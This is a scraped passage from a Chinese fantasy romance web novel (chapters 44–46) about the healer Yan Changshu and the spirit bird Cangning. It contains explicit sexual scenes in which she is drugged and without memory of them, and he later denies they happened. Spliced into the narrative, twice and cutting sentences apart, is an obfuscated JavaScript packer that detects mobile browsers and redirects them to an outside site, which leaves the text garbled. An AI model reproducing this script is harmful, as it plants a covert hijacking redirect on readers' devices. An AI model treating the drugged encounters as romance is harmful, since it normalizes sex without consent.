晏长书也想知晓。 他应该也是病了,病得不清楚,违背了所有理智,才会在她缠上来的时候,推不开她。 怎么治呢? 白天是好哥哥,夜里是情哥哥。 她被媚/药弄昏了头,凑上来吻他,舌软而香,莹润的身躯散发着膏霜的香气。 他从来都是强忍着,只是任她用手。 但在暧昧的昏暗中,他却很喜欢听,白日里他讨厌的那声称呼。 他会逼她在饱食前,用柔媚婉转的声线,低哑地唤他。 哥哥。 晏哥哥。 晏郎,晏郎……啊呀…… 牡丹乍破,春露潺潺。 她雪白的脚背绷着,在他脖颈上留下一个咬痕:“晏郎爱我呀……” 他虽不能纾解,但病态地觉得满足。 只消这一刻,他便觉得她是他的。 三更后,他出了一身的汗,先给她弄干净了,让她睡去,带着她的香气,坐在柜前读医书。 竟一字不能看。 念安夜里起来如厕,揉着眼睛问道:“晏大夫,你在解什么病理?” “没什么。”他笑了笑。 解不出来。 他头一次,解不出来,也不想解出来。 他知晓自己又陷入了卑鄙的漩涡里。 行医之人,无药可医。 44. 第二世·五 苍宁每晚都陷在漩涡里。 梦里的晏长书眉宇含笑,周身散发出濯濯出水莲,清冷如玉的光华。 他的掌心滑过她的脸庞,激起一层层战栗,带来翩如蝶翼的亲吻。 开头的梦境还是这样的。可后来的梦境骤然失控,他掐住她的腰,锁在他与床榻之间,吮弄她的耳垂,逼她叫出来。 日上三竿了,苍宁直愣愣地盯着虚空的某一点,脑子里还回荡着某个极尽真实的场面。 她背靠晏长书坐着,将长指绞紧了,绷紧的脚尖点着地。他一遍遍发着狠吻她,问她要去救谁。 救谁…… 那会儿苍宁的脑子根本转不了,救谁…… 尔后,不知手指游过溪流,触碰到了哪里,苍宁颤抖着呜咽着哭出来,他便侧首吻去她的泪。 晏长书的双臂完全拢住她,等她平息,才摩挲着,哑声求她: “宁宁也救救我,好不好?” 苍宁还在发呆。 怎么会,怎么会有这么逼真的梦? 她简直以为还在卍象图中。 她听见念安敲门,红着面站起来,发现自己的脚踝上留着一枚浅红色的印子,像是咬痕。 她皱着眉走出门,惯例喝了药,瞧了一圈,没看见晏长书的人影。 念安道:“晏大夫昨夜研究医书,很晚才睡。” “这么刻苦。”苍宁吃了一颗蜜饯,“医铺怎么办?” “近日营收不好,歇不得,晏大夫早就出门了,”念安又道,“方才柳娘子来过,晏大夫一会儿便回来。” 哼。 苍宁笑道:“柳家郎君么?我去瞧瞧。” 要她苍宁瞧的病,可不会是什么人类的小病。依她看,柳家郎君在浮刻山准是招惹了净天。如果不是净天,那便是另有神灵妖魅。 她借着晏长书的名义去往柳府,柳家郎君睡在床榻上,她伸手去探,顿觉柳家郎君只是装睡。 她放出神识,打探一圈,捕捉到有妖没入的痕迹,不由拍拍柳家郎君的手,幻化一枚草叶。 过后,她留下事先准备好的药包,迤迤然回去,静待草叶捕捉妖者气息。 今日天朗气清,日头极佳。苍宁贪玩,途中一路商市繁华一个都没错过。 她见着衣裳好看,鞋袜好看,梨花木的家具好看,屏风好看,胭脂水粉好看,玉簪也好看,手一掏就是金元宝,商户们将她哄得满面春风,买了一箩筐。 等这些漂亮物什通通搬到医铺里,苍宁锦衣罗裳,腰悬宝珞,头戴珠钗,拿着红契走进来,念安张大嘴巴,连连惊叹。 “天女,神仙!” 原本这医铺是租下来的,苍宁金手一挥,已经买下来了,至于那些漂亮家具,不过是根据她的喜好,买下来装扮内室的。 她睡的那张床,若不是因为太硬,她身体怎会每日酸软呢? “好娘子,你竟然,不——你果然是有钱人。” “是啊,我不止有钱,我可太有钱了,把整座曲阳城买下,也是不在话下。”苍宁挥退念安:“走开走开,趋炎附势,我可记着你说过我呢。我啊,不过是想在吃肉的时候让你闭上嘴。” 苍宁懒得和小屁孩置气,站在柜台前挑选自己喜欢的锦纱。 她长得太过出挑,出门逛了一圈,引来不少郎君眼巴巴地在外头看着她。心丑的郎君,她向来不会看一眼,若是长得好看的,勉强能看一眼,但不说话。 有个身着粉衣的,她瞧着有几分像桃枝,骚气得很,便同他搭了几句话,谁知那粉衣怪净说些没皮没脸,没头没尾的话。 苍宁耷拉着眼睛。如果不是不能伤人,她便一巴掌扇过去了。 最后,粉衣怪还问她是否有婚配,她说自然有,不仅有,还比他好上一万倍。 粉衣怪挥开折扇道:“我爹官至三品,我娘乃县主之女,我有良田金屋,下人无数,跟了我,可保你百年无忧。” “可你说的这些,我都有,我还有你几百几千辈子都想不来的金银财宝,我平常都堆在一个见不着光的地方,心情好了就会扔五十金出来喂狗(貔貅)。” 苍宁懒懒打了个哈欠,托着腮,眼睛亮晶晶道:“我喜欢那种长得好看的,不是你这种长得男女老少的低级装货。他要喜欢我,事事把我放在第一位,他知晓我的幻梦,我的胡思乱想,他知道我是谁,可以花费两百年时光,被我杀数十次,等我恢复意念,等我顿悟,可以舍弃自己苦心修炼来的能力,盼着我好。” 苍宁调整姿势,甩了甩另一张轻纱道:“所以我讨厌你说你爹,你娘,你自己,因为你说的那些和我一点关系都没有,我喜欢的那个人——啊呀!” 苍宁一转身,隔着轻纱看见了晏长书的脸,一个心惊差点叫出来。 “晏、晏哥哥,你,你怎么在这里?” 念安不是说,他出去了吗? 苍宁面色微红,用轻纱挡住面容,因为心虚,心跳得极快,眼睛也飞速眨动着。 晏长书要向左,她也往左,晏长书要往右,她也往右。 过道狭小,两人兜兜转转,都没转出去。苍宁腰身靠在柜台上,回头看,那粉衣怪正破口大骂,语句不堪入耳,她眉头一皱,封了他的口,叫他两个时辰无口可开。 晏长书呢,被粉衣怪骂了个狗血临头,却一点儿表情都没有,好似没有听到,他伸手拿走放在药斗子最里头的药材,往后一退,去拿另一边的东西。 苍宁追了他一路,晏哥哥晏哥哥的叫,追到内室,捏住他的衣摆,让他不用去柳府了,还说起自己白日里似乎好多了。应当是要好了。 “还没好。” 他眼下一圈青,将手搁在她身边的柜子上,苍宁顺着日光瞧他的面色,总觉得他的脸色格外差劲。 他抿唇:“契纸若还在,便尽数退回吧,叫你破费了,是我对不住你。” “不要。我花我的钱,干你何事?” 她偏不。 她松开手想探过去,他的面庞不动声色绕过她的手,谁知这个角度水到渠成,她的手便落到他的脖颈上。 苍宁怔了怔。 她知晓晏长书的体温比常人低一些,不过,她注意到的并不是这个,而是脖颈处一枚暗红的咬印。 和她脚踝上那枚轻轻的咬痕不同,这枚咬印简直没轻没重,要她看来,那是发了狠,忘了情,偏生还缠着咬痕,多出许多吻痕,一溜烟儿顺著脖颈往衣领深处去。 苍宁瞳孔地震,不禁咋舌道:“你……” 晏长书收起自己衣襟,抢过她的话头,面无表情地询问:“他是谁?” 什么他?什么谁? 苍宁努力回忆道:“爹是三品官,娘是县主之女,他是谁来着,是谁来着?”可是他是谁重要吗? 苍宁拉住他:“你这是谁弄的?” “苍宁,不是他。你喜欢的人,是你要去救的人吗?是吗?” 什么喜欢的人?她、她刚刚说的他都听见了是吗? 这……这有什么好解释的,和他一言两语,越说越乱,哪里解释得通! 倒是他!难道不应该和她解释点什么吗? 他身上的痕迹是谁弄的?他就是这样去问诊的?他每日里都去见谁,都做什么去了! 苍宁不仅觉得他脖颈上的痕迹刺眼得很,还觉得自己自讨没趣。自以为是,沾沾自喜地编了个妹妹的身份,生怕他留情,在自己离开时重蹈覆辙,哪知人家这世不仅不搭理她,还早就有了关心的对象。 她拒绝他比自己晚一步的疑问,努力控制咬牙切齿的愤怒,没好气道:“那你呢?你脖子是谁咬的!你居然背着我和旁人行敦伦之事!晏长书,你问诊——你简直不要脸!” 见她的炸毛样,晏长书黑眸中光华流转,微微勾起点笑:“苍宁,你在意吗?” 在意?实在是在意至极!可听见他温凉如水的声音,她身为到点要走的好妹妹,不应该说出这种话。 “我有什么好在意的,谁会在意你呀,你,我,你——”她硬生生咬唇憋下来,语无伦次道,“切,笑死,你不过是长得好看些,我——我也没有很在意,你,你不会是和柳娘子……” “不是。” 不是。 苍宁刚想笑,又愣了愣。不是,那是和谁? “那是谁?” 晏长书不答:“你不是不在意么?” “你告诉我,你告诉我,晏长书你别走,你先告诉我呀!” 小鸟叽叽喳喳,绕着他问个没停,二人的腿纠缠到一处,眼看要摔倒,晏长书将她拦腰护着,摔在床榻上。 苍宁一点没有受到影响,从他胸膛上撑起来,眉似蹙非蹙,珠钗似落未落,墨一般的乌发垂落下来,发尾扫在他的脸庞上,凉而痒。 这床榻的确有些硬。晏长书后知后觉地想。 不过夜里,她都睡在他怀中,不会硌着她。 苍宁眯着美眸,一语不发地扒拉他的衣襟,他看见外头的日光,忽而想到,昨夜,他们便在这张床榻上,这个位置,交,缠。 那会儿,她说,要他爱她。 他 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清脆一声响,晏长书略微展眉,苍白的面上,留着几根清晰的指印。 他黑眸浓墨似的,又笑了笑:“……苍宁,你喜欢的人很多吗?” 他从前听说的,现在听说的,是同一个人吗? 他曾说过,那个人离开她,就是不爱她。 “多一个少一个,又怎样?”他无意识地喃喃。 苍宁咬着唇,又扇了他一巴掌。 “晏长书,你怎么能说出这种话!” 他敞着衣领笑出来,眉眼深深,自嘲而悲悯。哪怕是这样,苍宁同样觉得怦然心动。 “你……你混蛋。” 他想,她定是对他很失望。 她也许很快就会离开,这是他的理智想要的,却不是他真正想要的。 她转身离开了,可只要还在这所医铺,在夜里,她总会回到他的怀里。 在初夏温柔的沉夜里,他揽着她的腰身,撩开她汗津津的乌发,小狗似的委屈轻喃,控诉她白日里打了他两巴掌。 这是他们这么多日,在白日里为数不多的触碰。 苍宁沉醉在快悦中,神思混沌,搂紧了他的脖颈。他将她压在床头,拢着她的手,放在心头,黑眸灼灼发亮:“宁宁不会打他是不是?以后宁宁只打我,宁宁只来欺负我,可不可以?” 如非不能得到爱,得到唯一的欺侮,都是特殊。 他舔咬她手腕上的血痣,要咬下来吞进肚子里般。他在她身上留下印子,毫无顾忌,像是等着她大发雷霆,在白日彻底离开,又像是等着她再给他一巴掌,好叫他在她心里留些不一样的痕迹。 这样她就一定会记住他。 一想到这样,他便激动得浑身颤抖,连死都不怕。 翌日,她醒了。 晏长书照例端着药汁在门口等她。 苍宁喝完药,显得有些迷茫。 她身上,有他的痕迹,他的香气,她自己的水液。 他身上亦然。 他没有洗掉这一切,这样,就不会随着一个逝去的黑夜消失不见。 他垂着眼睛,将洗净的绿葡萄,送进她嫣红的唇瓣中。 洁白的双齿咬破了汁水,从唇缝中流下来。一如昨夜。 他显然有些着迷,一颗一颗往她唇里送,将她的腮帮子塞得满满的,食指碰到她娇软的舌。 她不明其意,抬眼瞪他,含含糊糊道:“晏长书,你是不是有病!” 他笑了笑。 上一世。 他就知道他有病。一家子都病得不轻。 他垂下头,用目光锁住她,微微偏过头。只要再往前一些,就能碰到她的唇瓣。 他停下来。 “苍宁。” 他唤她。 他满眼都是她。 他看见了她。他看见了她的表情,和她眼底不知所措的单纯的疑惑。 在她心里,他到底是个什么样的人呢? 他不受控地想着。 是个好人吗?她在乎吗? 他在乎他在她心里,是个好人吗? 沉默良久,他闻见葡萄的清香,退开了身子。 他伸手碰了碰她的脸,很快放下手,保持了一定的距离。 “别不开心,苍宁。” 他温柔道: “是我错了。你打我吧。好吗?” 45. 第二世·六 苍宁一早上起来就觉得怪怪的。 床怪怪的,身体黏黏的,嘴唇麻麻的。 她站起来,发觉脚踝上昨日那枚咬痕颜色变深了,提起裙摆,腿侧还藏着一连串蝴蝶般紫红色的吻痕。 花丛深处,牡丹藏蜜,湿润润的。 她不敢置信地僵在原地,回忆着,自己是否丧失了什么记忆,错失了什么片段。 待她慢慢走出门,看见晏长书勾着笑在门口等她喝药,吃完葡萄,才觉得事情正往她始料不及的方向狂奔而去。 晏长书对她过于温柔,以至于他沉沉黑眸中被包裹的强硬,也变成了温柔。 她从发觉到奇怪,到自我怀疑,再到确信—— 确信在医铺那么多个夜晚,她的梦不是梦,她被暖香催出来的热意不是靠自己强压,而是夜夜与他寻欢。 确信她在要了热水,准备沐浴时,他撩去她腰间的披帛璎珞是那样熟练,不止数次。 确信他的言听计从是假,有所企图是真。 确信她做了个徒劳无用的身份,他们之间从不清白。 苍宁有点泄气,早知道早知道,她满脑子都是早知如此何必当初! 她是因为怕他生了情愫,扰了心神,这才套了一个兄妹情深的壳子。可他呢? 若不喜欢她,为何夜晚与她欢好? 若是喜欢她,又为何白日里这样嫌弃她? 他又是何时何地瞧上了她,怎么她一点也看不出来呢? 她就说,晏长书是个骗子!大骗子! 既然走到这一步,之前的计划便走不通了。 如此光景,别说是净天要他承认,便是苍宁,也想知道一个答案。 苍宁水眸微转,拿定主意,随后,任他脱去她的外衣,低头瞧他。 她露出浅浅的笑,眸光流转: “哥哥,中衣还没脱呢。” - 内室中热气缭绕,苍宁身着亵衣,屈腿坐在浴桶中。 晏长书青色的外袍未脱,沾着水汽。她乌长的发由他打理着,爱惜又熟练,淅淅沥沥的热水滴落在他衣袖上,他侧站着,垂头便能看见苍宁一弯优美的脖颈。 上面有他的吻迹。 他心情很好,眼底眉梢闪着愉悦的笑,先用皂荚为她揉搓发尾,尔后,一点点往下,将脏污洗去,再用篦子一点点往下梳,为她抹上自制的,香味悠长的茉莉花油。 水有些凉了,他替她加了些,苍宁站起身,他将她重新按回浴桶中。 苍宁半张脸浸在水中,吐了几个泡。 尔后,她美眸轻眨,试探道:“晏哥哥,昨夜你与我……” 晏长书垂眸看她。 “你与我是不是有了……” “没有。” 没有? 他说得斩钉截铁,不似说谎。 可若真是梦春事,她为何身上会留有红痕?若不是梦春事,她身上有痕迹,却没有在她体内留下什么感觉呢? 苍宁并非不经人事,她知晓与他交/缠结合是什么滋味。 每每都如渴水一般,在撑满和酥爽中来回抛荡,意识时而被压扁在沾汗的身躯间,时而放大至无尽虚空,时间不再漫长到无边无际,他们以彼此互为节点,仿佛彼此便是世间的唯一,此刻便是无穷。 苍宁喜欢这种感觉。可是现在,她的身体没有这种感觉。 真奇怪。 难道—— 苍宁的视线顺着水滴滑到晏长书的那处去。 难道晏长书这一世格外迷你…… 不对吧,他可是有两个的黑蛇?若是为了惩罚他修行不善,也不该惩罚这个地方吧? 苍宁苦思冥想,晏长书瞧见她的脸色,一眼知晓她的误解,没好气地忍俊不禁。 苍宁听见他笑,伸出雪白的臂膀,用食指勾住他的腰带,将他拉过来。 她莹润臂膀上的水打湿了他的腰带,削葱般的指尖渐渐下移,指尖点了点,状似不经意。 他黑眸若一汪深潭,腰身前倾,脚步随她而动。 苍宁眨了眨眸,忽而觉得指尖滚烫。 她触电般抽回手,面生红云,重新坐回浴桶里。 分、分明气势汹汹得很! 她不停眨着眼睛,心跳得极快,只觉平日里消散的热意如林火般从她指尖燃烧,蔓延到每一寸皮肤,每一根血管,顿觉口干舌燥,也不让他碰自己的头发了,拍开他的手,叫他出去。 “怎么了?” 晏长书放下篦子。 怎么了怎么了,苍宁怒目道:“你欲行不轨,还不承认!” 晏长书似笑非笑回问:“我欲行不轨?” “你知晓我中了暖香,夜里偷偷爬上我的床!”定是这样,要不然怎么解释呢! 晏长书收起笑,瞧了她好一会儿。 “那是我的床。” “我买的就是我的床!” “你在你买的那张床上,睡不到一个时辰。” 苍宁不敢置信。 随后,她气恼道:“那就是我们的床!你白日对我爱答不理,让我以为你与旁的女子有了欢好,夜里却偷偷爬上我们的床,与我交/欢,你还不承认!” 他伸手掐住她的下巴,固执地要她回转头来,她不肯,他怕弄疼了她,便松了手。 静默一瞬,待日光从窗棂间的罅隙暧昧地回转,洒落在她的肌肤上,他慢慢俯下身,两手扶在浴桶边缘,用影子包裹住她。 水光粼粼,她的肌肤温润而闪耀,他着迷地用鼻息描摹她莹润的曲线,湿热的唇瓣始终不曾触碰她的肌肤。 她说的话,他依偎在她耳边,一概否认。 他的呼吸那么烫,叫苍宁几乎错将他的视线当成灼人的日光。 她终于回头,眼神纯而欲,微挑着眉道:“哥哥当真没有吻我?” 晏长书双眸点漆,映照着她的身影。 她单纯、大胆又热情,没留给他太多弯弯绕绕,视线垂下去,双臂缠上来,将他一点点往下拉,要他和她一起沉入水中去。 她小声问:“哥哥若没有吻我,我身上怎么有这些印子?” 她抬起腿勾住他的腰身,中透的衣裳贴着肉,印出紫红色动人的痕迹。晏长书眸色越来越深,脸色越来越沉,想要拖回自己水淋淋的衣裳。 可一来二去,非但没有成功,苍宁还死乞白赖地,湿淋淋地挂在了他的身上。 她见他不高兴,蹙眉道:“你不是想与我做吗,这会子又拉长了脸,要逃到哪里去?” “苍宁,下来。” “我不,我偏不!索性都成这样了,我偏要缠着你,绕着你,让你只能看我!” 她对自己计划的失败明显耿耿于怀,可计划失败归失败,她还得往前看。只是她更不明白,晏长书怎的如此别扭,她理他,他不高兴;她不理他,他反而高兴? 晏长书要将她放下来,她锁紧了他的腰身,抱住他:“不行不行,我没有穿鞋,我不要下来。” 不等晏长书说话,她又开始控诉:“你定是讨厌我,才什么话都不与我说。既然这样,我去爱柳家郎君,去爱那个爹是三品官,娘是县主之女的,我去爱别人,再也不管你了!” 话说到这里,晏长书黑眸中异光流动,两唇微微翕动,仿佛有话要说,又没有声音。 “你说话呀。”苍宁捧住她的脸,诱他,“你是不是与我……” 扑通一声,他将她放回浴桶里。 “没有。” 苍宁扒拉在浴桶边:“晏长书!发什么疯?” “没有。”他煞白着脸,眼中竟有痛苦,还扯出一个笑,“你是不是要离开我了?” 苍宁皱眉:“你在胡说八道些什么?问你你又不答,偏说些奇奇怪怪的话,我问你,你若不想爱我,为何昨天说出那样的话?” “宁宁……宁宁爱我么?那是不是,永远都可以留在这里。”他声音颤了颤。 苍宁笑道:“我自然喜欢你呀。但是我也告诉你了,我不能一直留在这里。” 他奇异地浑身颤动,后退一步,眉宇划过一丝了然。 上一世也是这样的,她和他交融着,尔后便如春梦无痕,了无踪迹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗯,你关心我。宁宁,宁宁,宁宁……”他情不自禁地笑,幻化了几重情绪,哑声道,“我现在让你选择,好不好?你现在走,现在就离开我,再也别回来,别多看我一眼,或者你生气,你再打我几巴掌,骂我,告诉你永远不可能会爱我,然后离开我,好不好?” 苍宁摇头。 他一步一步走近她,长身玉立,站在她的面前。他的手从她脖颈后爬上去,如游弋的蛇,五指没入她漆黑的发中,强迫她抬头,张开诱人的唇。 而她丝毫不怕,观察着他一步步动作。 他将她身前美景尽收眼底,喉珠上下滚动,将自己的卑劣和挣扎于她面前忏悔,用激狂和占有的爱欲的目光交织成网,笼罩住她:“我控制不了我自己的,宁宁。” 苍宁:“……控制不了什么?” 晏长书鸦睫微颤,“控制不了想要靠近你的念头,控制不了想要吻你,抱你,爱你,和你交/欢,控制不了一想到你要走,就想要毁灭的冲动。控制不了自己成为一个心口不一的小人。糟透了。” 他垂落视线,轻笑一声,再度俯身,轻轻问她:“要走吗?” 他与她呼吸交闻,用最后的理智作抵抗。 “宁宁,走吧。”他竭尽全力,温柔如君子般道。 让他知晓,她的的确确,永远都不会爱他。让他一个人在凡间爱欲的地狱里沉沦。就这样。 苍宁别过头:“你手里拿着什么?” 他抬起手。 是一根长长的绳子。 它被掐在他手中,拖在地上,以至于苍宁第一时间没有发现。 “你要用它吗?”苍宁笑了笑,“——怎么用?” 他哑声道:“如果你今日白昼还未离开,我会将你锁在我的床榻上,这样我不论什么时候离开,你都会等我回来的。” 苍宁摸了摸手腕上两个血痣。 原来……晏长书一直这样啊。喜欢知晓她的所在处。 可她是瑞鸟,并不是普通的鸟儿,他如何锁得住她? 她眨着眼睛问:“可你锁得住我吗?” 他身体一颤,脸色更白。 从这个层面来说,他们的力量根本不对等。身为凡人,她走不走,不是他可以决定的。 可是有什么所谓? 苍宁甚至很期待。 她伸出手,顺着他道:“要怎么绑?先绑手怎么样?我还挺喜欢刺激的,你一定要绑紧一点——” 苍宁仰头含住他的唇,安抚他,轻声闷笑: “晏长书,绑快点,我都等不及了。” 46. 第二世·七(二更) 晏长书是将她打横抱走的,还为她擦干了头发。 正如她所说,她没有穿鞋,所以绑的时候,可以从脚开始。 “可是我喜欢能在上面,还是不要绑脚好了。” 她真诚建议着,晏长书嘴唇嗫嚅了几次,不知想到什么,深深叹了口气,把绳子甩开,伺候她换了一身衣裳。 “你不绑我了吗?” 他背过身,优越的身姿岿如青竹,她从身后搂上去,将他抱紧。 他在颤抖。 “哥哥?”她脆着嗓音摇晃他,“哥哥不玩儿了?” 他侧过头,冰凉的手指抚过她的面颊,目光幽深:“我说过,我给你选择。就算你是拿我取乐子,但这一日,我想要知晓你的真心。” 白日他会出门。 “到日落后,若你还在……” 苍宁问道:“什么真心还是夜光的,一定要到夜里?” 他静默不语,拉开她的手,一顿。 门关上,绳子还留在地上。 苍宁在床上翻来覆去,卷着被褥滚动,染上一身他的气息,想要恶狠狠地咬他一口。 这家伙肯定是觉得晚上她会暖香发作,淫/性大发! 这个该死的男人,话不讲清楚,臭不要脸! 苍宁气得翅膀扑腾出来,知晓他喜洁,特地站在他床榻上梳理羽管,掉了一层亮晶晶的羽粉,把他的床弄得一团糟。 但她仔细一想她也是要睡在这里的,不由更生气。 忽然,两只毛茸茸的耳朵从窗台上蹿出来,打搅了少女心事。 苍宁瞧见小狐狸身上炸开草叶,笑出声音。 菜菜狐狸跳到窗台上,不停扒拉窗棂,求她收了神通,苍宁啾得一声变回人形,收了术法。 小狐狸这才屈膝说道:“姑奶奶大人怎知道我和柳家郎君有联系?” 是卖她人情的小狐狸阿萍。 苍宁道:“原来是你和他有关系呀,说说吧,你将他怎么了?” 小狐狸哀怨道:“姑奶奶大人明鉴,我真的在做好事。” 原来,阿萍曾和柳家郎君有过一段。 哦,不该这么说。 应当说,阿萍和柳家郎君的上一世,阿连,曾有过一段。那时候,阿萍刚出山不久,想像话本里那样,寻位郎君吸阳气。 善良的小狐狸掏老鼠的时候,刚巧掏到了重伤的阿连。阿连长得好看,她便将他治好,大摇大摆地充当起他的好娘子来,阿连知晓了她的身份,也不害怕,便平平淡淡,幸幸福福地在村子里度过了幸福的一生。 后来,阿连转世,成了富贵人家的柳家郎君。 是阿萍先发现了这件事。他们长得极像,她的狐狸鼻子嗅出来,他们的魄体都有一模一样的气味。 她高兴极了,在上元节路边,勾着柳家郎君回了浮刻山。 但是,无论如何,柳家郎君都和阿连不一样。 他们是同一个人,又不是同一个人,阿萍高兴又失望,将他放了回去。 谁知,柳家郎君竟然喜欢上了她。 阿萍得知他日子过得痛苦,特地来劝他,可是柳家郎君根本听不进去,只是央求她将他带走。 “可那不可能呀。”阿萍道,“于是我撒谎说,我和他之间根本没有前世姻缘,他就变成这样了。疯了。” 苍宁听完,瞧见阿萍垂下耳朵,甩了甩狐狸尾巴。 “你在难过吗?” “没有!”耳朵还是耷拉着,飞机耳。 狐狸果然还是会撒谎呢。 苍宁道:“你当真不喜欢他了?” 阿萍摇头:“我能感觉到,他们是两个不一样的人,我,我确实不喜欢他了。”她歪着狐狸脑袋,“这样听起来是不是很绝情?” “还好吧。” 阿萍显得忧愁满面,收起前腿,趴在窗台上,迷茫道:“我还以为不管他变成什么样,我都会喜欢他的,可是我做不到。明明,他变得比阿连更有钱,更有学识,更厉害了,可是我却只喜欢阿连给我捉蝴蝶。听说人都是往高处走的,喜欢也要喜欢那些厉害的人,我是不是好没出息啊?” 苍宁想了想:“谁说的,我怎么没听过?我听说西边有个叫西西弗的神天天往高处走,还蛮累的。你别听别人瞎说了,喜欢就是喜欢,不喜欢就是不喜欢,喜欢一个人哪有那么多道理。” “没有道理吗?” “也许有原因,但是没有道理。分开的时候,才有那些个道理。况且你不喜欢他了干嘛还要想这么多,去过你捉蝴蝶的日子啊,去过你假扮娘子抛绣球的日子啊。” “柳家郎君怎么办?” “什么怎么办?他和你无关了!” 阿萍呆道:“难道我不应该喜欢他,对我曾经的誓言负责么?难道我只是爱我的记忆……” “阿连死了,阿连不会回来了,世事易变,这就是凡人呀。凡间的一切变动都太快了,我愿把每一段易变的美好都称作凡间。” 苍宁说。 “那晏大夫呢?你和晏大夫在一起,会不会害怕?” “不会啊。” “他也是凡人啊,你就不怕,你现在的喜欢和记忆一起消散了,就再也找不回来了?” 小狐狸的话叫苍宁犹豫了片刻。 西王母娘娘的意思,司命星君的意思,便是如此吧。 晏长书轮回成人,根本不知晓自己曾是尊者,更不知晓她和他有过的经历。同样,等晏长书回到尊者的位置,还会承认身为人的这段时光么? 阿萍叹了口气:“难道我们是仅凭记忆爱人的么?没了这段记忆,其实也没什么大不了的,曾经那些爱不爱的,也就消失了。” 苍宁不服气道:“谁说的!我记得就还没消失啊,要是他忘记了——要是他忘记了不愿想起来——说明我们根本没缘分,他不配享有我的爱。” 哼!!! 苍宁说得气愤填膺,忽而道:“你说得对,你要是不喜欢柳家郎君了,我倒是有个负责任的法子,本来……”本来是想先用在晏长书身上的。 “什么法子?” 苍宁笑了笑:“你先去瞧瞧我家晏哥哥在不在那里,若是不在,我就去柳府还了你这个恩情。保准柳家郎君会过上原本的生活,你和他再无瓜葛。怎么样?” 小狐狸点头:“谢谢姑奶奶大人!对了……” 苍宁:“?” 小狐狸羞涩道:“我本来,昨夜就来找了你,可是看见你与晏大夫流连床榻,就没好意思进来。” 啊? “现下你夜里没了意识,只怕这样下去,白日也会没了意识。那颗药丸,看合适的日子用了吧。净天大王那边……再不去,恐怕身子扛不住。” 小狐狸还以为苍宁会不好意思,来凡间,女子多少都会谈此色变,作害羞状。可两兽相惜,并没有多少害臊心思。 苍宁还过来和她打探消息:“你说你看见了,你看见的时候,他瞧上去喜爱我吗?” 小狐狸点点狐狸脑袋:“喜爱极了。我认得郎君喜欢一位女子的眼神,而且,晏大夫定是知晓姑奶奶大人中了暖香,失去了意识,怜惜姑奶奶大人,未曾真正交/合呢。” 欸? 苍宁皱眉。 原来是这样啊。 她还以为晏长书迷你…… 原来是因为他,他和她零零散散的梦里看见的一样,用的是手啊!那他这么多日,从未纾解过? 比王八还能忍啊! “好吧,你且先去。”苍宁说道,“我随后就来。” - 柳家郎君是一觉后忽然好的。 醒来后,与去浮刻山之前一样,光彩照人,气度翩翩,说要去科考。 小狐狸点点头,没笑。 “还是有些舍不得。但是我不会来打扰他了。” 小狐狸跳走了,苍宁和她约好,二日后去找净天,她还有些惊讶:“这么快?” “嗯,放心吧。你去告诉净天,叫她等好了。” 柳家郎君好了,柳娘子也好了,柳府热闹起来了,小狐狸回到她的山里自个儿捉蝴蝶去了。 等待日落时分,苍宁吞了药丸,蹲在床榻边,想到柳家郎君灿然的面颊,不由难受。 她和小狐狸说了那么些话,结果到头来,自己也受不了。 情之一字,果然半点不由人。 她等啊等,等到远山淡影吞没了炽热的太阳,最后一丝金光抽离了天空,晏长书还是没有回来。 她等啊等,走出门,看见守夜人喊着天干物燥,小心火烛从门前走过,天很黑,月亮勾着弯,不明晰。 她提裙往外走,四处寻找,终于照着手腕血痣的感应,在河边找到了他。 烟柳青青,风情摇晃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030040|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温柔的南风牵起苍宁的裙摆,璎珞如鸣佩环。 水波荡漾中,他微微侧头,眸光和月色一般冷。 苍宁额发有些乱,埋怨他:“不是说好日落时回来吗?你一个人在这里做什么?” 他看着她,温柔地笑:“你怎么找到我的?” “只要我想找,你去天涯海角我也找得到你。” “哦。”他淡淡哦了一声,“原来是这样。” “什么这样那样,晏长书,你烦死了。你就不能好好和我说话么,会死么?” 河水泠泠有光,照射出他的面容,苍宁拉起他的手:“和我回去。” 他不动。 闹什么别扭? 苍宁跳到他跟前,双手掰下他的脸,她盯着他的眼睛,逼他看她。 嗯,还是很好看。 看一会儿就消气了。 苍宁说道:“晏长书,我等你好久,从早上等到下午,又从下午等到晚上,可你没有遵守诺言。” 他似笑非笑,低声道:“苍宁,我在让你选择。” “我已经选择了。”苍宁急道,“你说的,不管以后怎么样,我今天留下来,就代表我的真心。还是说……你根本不敢回去?” 两人无言伫立,只有河水在一路往前。 末了,晏长书想要说话,她伸手捂住了他的嘴唇。 她问:“你不相信我?” 他柔声道:“我相信你。” “那你为什么不走?” “宁宁。”他低头,用额头抵住她的额头,将她的手握在手中。 唇瓣相交处,闪着河水粼粼的波光。 他的吻点到而止。 月光不再清冷,而显露出动人的温柔。 “把我白日说的玩笑话都忘了吧。” 苍宁蹙眉:“你喜欢我,是假的么?” “不假,怎么假的了呢。”他哑声道。 可他也明白,河水始终会流走,鸟儿始终要飞向天空,时间可以有节点,却绝对不会停留在原地。 当初…… 当初已经过去了。 无论如何,在清净寺时,苍宁都不会在那个节点回来了。 于是,他又开始痛恨自己作为人的自私。他的学识和教养告诉他,爱应当是爱其所爱,如其所是,可他痛苦狡黠到怀疑爱本身的涵义了。 爱会令人迷茫吗? 爱会令人恐惧吗? 爱会令人害怕吗? 爱是一体多面的吗?爱有这种可能吗? 他摸到苍宁的脉搏,热的,一跳一跳的。 唯有死才是不变的。可他不想伤害她。 他想死在她的身下。想死在她温热的手中,柔软的唇舌里,死在被包庇的爱中。想要被吞噬,被杂糅成一体,被保留这一刻,永不消逝,想要被当做她买来的家具,或是一张地毯,任由她随意地走来走去。 可晏长书无法开口告诉她。 最后,他告诉她: 日落之后,她便是他的。 苍宁似懂非懂地点点头。 